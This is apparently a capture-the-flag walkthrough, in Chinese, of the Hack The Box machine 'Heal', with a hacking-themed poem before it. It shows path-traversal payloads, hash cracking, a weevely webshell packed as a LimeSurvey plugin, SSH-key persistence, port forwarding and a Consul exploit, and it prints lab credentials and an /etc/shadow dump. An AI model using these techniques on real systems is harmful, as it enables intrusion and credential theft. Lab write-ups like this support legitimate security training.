MANESEC on 2024-12-21
Recommand: Let's Sign Up HTB Academy to get Higher level of knowledge :P
非常推薦: 想要變强嗎? 快來加入 HTB Academy 獲得更高級的知識吧 :P
https://www.hackthebox.com/achievement/machine/463126/640
夜のスクリーン、コードの囁き (夜的屏幕,代码的低语)
ポートの光、君のページ輝く (端口的光芒,你的页面闪耀)
秘密のサイト、君の笑顔 (秘密的网址,你的笑靥)
ログイン試す、夜の風 (尝试登录,夜的清风)
フォームの壁、愛のエラー (表单的墙壁,爱的错误)
パスワード探す、心のデータ (寻觅密码,心的数据库)
君の名前、遠い星のよう (你的名字,仿佛遥远的星辰)
ハックするまで、眠れない (直到骇入,无法入眠)
ハックするよ、君のサイト (我要骇入,你的网址)
愛のシェル、夜を越えて (爱的 shell,穿越这黑夜)
ポートの鍵、8080 の夢 (端口的密钥,8080 的梦境)
Root の愛、でも心は遠い (Root 的爱恋,但心却遥远)
隠したリンク、君の秘密 (隐藏的链接,你的秘密)
クリックの裏、PHP の涙 (点击的背后,PHP 的泪滴)
フォームに願い、愛の入力 (向表单许愿,输入这份爱恋)
でも君の目は、403 の壁 (但你的眼神,是 403 的阻绝)
トンネル掘る、心の回線 (挖掘隧道,心的线路)
コードが歌う、愛の暗号 (代码在歌唱,爱的暗号)
偽の鍵は、もういらない (虚假的密钥,已不再需要)
私の愛は、ただ純粋 (我的爱恋,只是纯粹)
ハックするよ、君のサイト (我要骇入,你的网址)
愛のシェル、夜を越えて (爱的 shell,穿越这黑夜)
ポートの鍵、8080 の夢 (端口的密钥,8080 的梦境)
Root の愛、でも心は遠い (Root 的爱恋,但心却遥远)
田舎の夜、ピクセルの涙 (乡间的夜晚,像素的泪光)
Root を手に入れても、君はいない (即使获得了 Root,你却已不在)
愛のコード、夜のスクロール (爱的代码,黑夜的卷轴)
ハートはいつも、404 の闇 (我心总是,404 的幽暗)
ハックしたよ、君のサイト (我已骇入,你的网址)
でも愛のリンク、繋がらない (但爱的链接,无法接通)
ポートの鍵、8080 の嘘 (端口的密钥,8080 的谎言)
Root の果て、ただ星を見る (Root 的尽头,唯有凝望星空)
夜の田舎、コードの残響 (夜的乡野,代码的回响)
君のサイト、遠い夢 (你的网址,遥不可及的梦)
首先一上來肯定是使用nmap掃一下:
PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 68:af:80:86:6e:61:7e:bf:0b:ea:10:52:d7:7a:94:3d (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFWKy4neTpMZp5wFROezpCVZeStDXH5gI5zP4XB9UarPr/qBNNViyJsTTIzQkCwYb2GwaKqDZ3s60sEZw362L0o= | 256 52:f4:8d:f1:c7:85:b6:6f:c6:5f:b2:db:a6:17:68:ae (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILMCYbmj9e7GtvnDNH/PoXrtZbCxr49qUY8gUwHmvDKU 80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: nginx/1.18.0 (Ubuntu) |_http-title: Heal |_http-favicon: Unknown favicon MD5: 800D9D6AD40E40173F19D5EE9752AC18 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
看來是從80端口入手。
輸入 ip 在瀏覽器之後會跳轉到 heal.htb
這個域名,嘗試掃描子域名,會直接被block,所以放棄掃描。
因爲現在沒有任何賬號密碼,所以注冊一個賬號看看:
但是點擊注冊會出現一個錯誤,按下 F12
看一下,原來他請求了另一個域名: http://api.heal.htb
把他加進去 hosts
之後,點擊注冊,就跳轉到了注冊后的頁面。
看到右邊有一個 SURVEY
,也就是問卷的按鈕:
然後就來到了這個頁面:
從這個按鈕中(也就是上圖的左下角)可以看到,跳轉到了另一個域名: take-survey.heal.htb
問卷看不到什麽有用的東西,訪問主域名的時候看到:
The following surveys are available:
Please contact Administrator ( ralph@heal.htb ) for further assistance.
這裏存在一個有效的用戶是 ralph@heal.htb
,有可能是管理員,
關於 LimeSurvey
的後臺頁面可以從 http://take-survey.heal.htb/admin
看到:
因爲現在也沒有密碼,所以先看一下有沒有其他的地方可以入手。
回到注冊完的頁面,最底下的頁面中看到有一個導出成 PDF 的按鈕:
點擊一下之後就下載了PDF:
通常有下載的地方都會存在 LFI ,於是使用 burp 截取一下:
發送到 Repeater
之後嘗試獲取 /etc/passwd
,結果真的有數據:
如果訪問 http://api.heal.htb/
:
你可以看到他是一個 Rails
框架,也就是使用 ruby
寫的服務器,搜了一圈沒有什麽 CVE,既然存在LFI,那就找一下數據庫會放在哪裏:
搜了一圈之後,比較有用的就是這兩篇:
在第一個鏈接中看到數據庫會放在 config/database.yml
這個路徑,而且似乎是固定的:
上面的數據庫文件會放在項目文件夾裏面,由於不知道會放在哪裏,猜會放在某個上層路徑中,所以嘗試枚舉 config/database.yml
,類似如下:
config/database.yml ../config/database.yml ../../config/database.yml ../../../config/database.yml ../../../../config/database.yml
結果在../../config/database.yml
中得到該文件的内容,這個文件指向了另一個路徑,也就是數據庫的路徑,所以嘗試訪問 test.sqlite3
:
但什麽也沒有,嘗試訪問 development.sqlite3
,結果發現了一串 hash:
ralph@heal.htb $2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG
使用 name-that-hash
看一下這個hash是什麽類型的:
$ nth -t '$2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG'
是 bcrypt
,這個類型的破解速度有點久,嘗試使用 hashcat 看看能不能破解成功:
$2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG:147258369
既然有了 ralph
這個用戶,沒辦法登錄ssh,不過可以嘗試登錄看看:
結果什麽也沒有得到,在一開始的 http://take-survey.heal.htb/
中可以看到裏面有 ralph
這個用戶,所以嘗試登陸看看:
結果成功了:
登陸進去之後點擊 Plugins
這裏:
可以看到允許安裝一些插件,
點擊後會提示上傳插件 zip 包,
從上面的url中發現是php
的框架,所以如果上傳惡意插件的話,很大程度上可以拿到shell,嘗試製作一個 zip,裏面就包括一個 php 的 webshell,這裏使用 weevely
快速做一個,然後把他打包到 mane.zip
中:
$ weevely generate mane mane.php $ zip mane.zip mane.php
嘗試上傳,發現 zip 裏面需要 config.xml
才可以:
所以就上網查一下關於 reverse shell plugin 之類的東西,參考一下人家的 config.xml
是怎麽寫的:
找到了這篇:https://github.com/Y1LD1R1M-1337/Limesurvey-RCE
看到上面有config.xml
這個文件,然後就下載這個文件,并且加入進去 mane.zip
中:
上傳后看到:
意思是版本不支持,所以看了一下 config.xml
裏面寫了什麽,由於當前版本是 6 開頭的,按照上面的版本號嘗試增加 <version>6.0</version>
:
然後在打包上傳上去看看,結果彈出了安裝頁面:
點擊安裝後就提示安裝成功:
在插件的最後一頁也出現剛剛上傳的惡意插件:
所以根據 github 的描述
會變成:
http://take-survey.heal.htb/upload/plugins/Y1LD1R1M/mane.php
嘗試使用 curl
看一下 http 的狀態碼是不是 200
,如果是的話意味著 webshell 存在:
所以嘗試使用 weevely
連接:
結果成功了,因爲這個shell會斷開,所以獲得一個 reverse shell 之後,跑一下 linpeas
:
看到一串密碼,
AdmiDi0_pA$$w0rd
因爲不知道是哪個用戶的,在 /home
中看到了兩個用戶,所以依次 su
看看,結果是 ron
這個用戶的密碼:
ron : AdmiDi0_pA$$w0rd
在linpeas中看到root裏有一些奇怪的進程:
ron@heal:~$ ps -auxwwf | grep root
看起來是 consul
的服務器在運行,網上查了一下看到他會監聽 8600 這個端口:
如下圖:https://developer.hashicorp.com/consul/docs/install/ports
確定本機有這個端口之後:
使用 ssh 進行端口轉發,由於該用戶不允許ssh 遠程登陸,所以生成一個 ssh key 然後連接:
并且寫入到 ron 這個用戶:
$ mkdir ~/.ssh
$ echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFmfmCYT7uq6KDk57TUJjBBq1wmbyu/C2CJaxI0SQcK0 mane@manesec' > ~/.ssh/authorized_keys
這樣就可以嘗試使用ssh連接了:
$ ssh -L 127.0.0.1:8500:127.0.0.1:8500 -i key ron@10.129.151.251
使用瀏覽器打開看看裏面是什麽:
好像不需要密碼,所以去網上搜索關於 consul
的exploit:
看到了這篇:https://www.exploit-db.com/exploits/51117
把他保存之後使用 python 運行看看,由於沒有密碼就使用 ''
看看能不能運行:
結果獲得了 root 的shell:
cat /etc/shadow
root:$y$j9T$PXt5gUmlNdTkrYBWtWJ.g0$KMKlRSr0.BNG0zhjcDIKvNsPkce/xbEtF22T1w/xKR8:19993:0:99999:7:::
daemon:*:19405:0:99999:7:::
bin:*:19405:0:99999:7:::
sys:*:19405:0:99999:7:::
sync:*:19405:0:99999:7:::
games:*:19405:0:99999:7:::
man:*:19405:0:99999:7:::
lp:*:19405:0:99999:7:::
mail:*:19405:0:99999:7:::
news:*:19405:0:99999:7:::
uucp:*:19405:0:99999:7:::
proxy:*:19405:0:99999:7:::
www-data:*:19405:0:99999:7:::
backup:*:19405:0:99999:7:::
list:*:19405:0:99999:7:::
irc:*:19405:0:99999:7:::
gnats:*:19405:0:99999:7:::
nobody:*:19405:0:99999:7:::
_apt:*:19405:0:99999:7:::
systemd-network:*:19405:0:99999:7:::
systemd-resolve:*:19405:0:99999:7:::
messagebus:*:19405:0:99999:7:::
systemd-timesync:*:19405:0:99999:7:::
pollinate:*:19405:0:99999:7:::
sshd:*:19405:0:99999:7:::
syslog:*:19405:0:99999:7:::
uuidd:*:19405:0:99999:7:::
tcpdump:*:19405:0:99999:7:::
tss:*:19405:0:99999:7:::
landscape:*:19405:0:99999:7:::
fwupd-refresh:*:19405:0:99999:7:::
usbmux:*:19970:0:99999:7:::
ralph:$y$j9T$4Dy9HV2pcNjs/CJXRU9x11$Irhr1vraxuLfMbmhd1FmK5oq37WeIfwbMSTYu7Ud5U2:20066:0:99999:7:::
lxd:!:19970::::::
avahi:*:19993:0:99999:7:::
geoclue:*:19993:0:99999:7:::
postgres:*:19993:0:99999:7:::
_laurel:!:20065::::::
ron:$y$j9T$haKqSIafpebVZoB765rgf/$cC27DCE3e2WKdbe7Srsgy7CoFjTgtbwREp4olnJyKa3:20066:0:99999:7:::
Respect: If my writeup really helps you, Give me a respect to let me know, Thankssssss!
感謝: 製作不易,如果我的writeup真的幫到你了, 給我一個respect,這樣我就會知道,感謝你!
Found Mistakes: If you find something wrong in the page, please feel free email to mane@manesec.com thanksss !!!
發現一些錯誤: 如果你在文章中發現一些錯誤,請發郵件到 mane@manesec.com ,麻煩了!!
Beginner Recommand: If you are a beginner, please use this link to sign up for an HTB Academy to get more Higher level of knowledge.
新手非常推薦: 如果你是初學者,可以用此鏈接來嘗試注冊 HTB Academy 賬號。
使用上面的鏈接加入 HTB 的 academy 就可以免費看 Tire 0 的所有教程,這對初學者來説是很友好的。 (建議先完成 INTRODUCTION TO ACADEMY)
Join HTB's academy with this link to get free access to all the tutorials for Tire 0. This is very beginner friendly. (It is recommended to complete INTRODUCTION TO ACADEMY first)
Copyright © 2016-2025 manesec. All rights (include theme) reserved.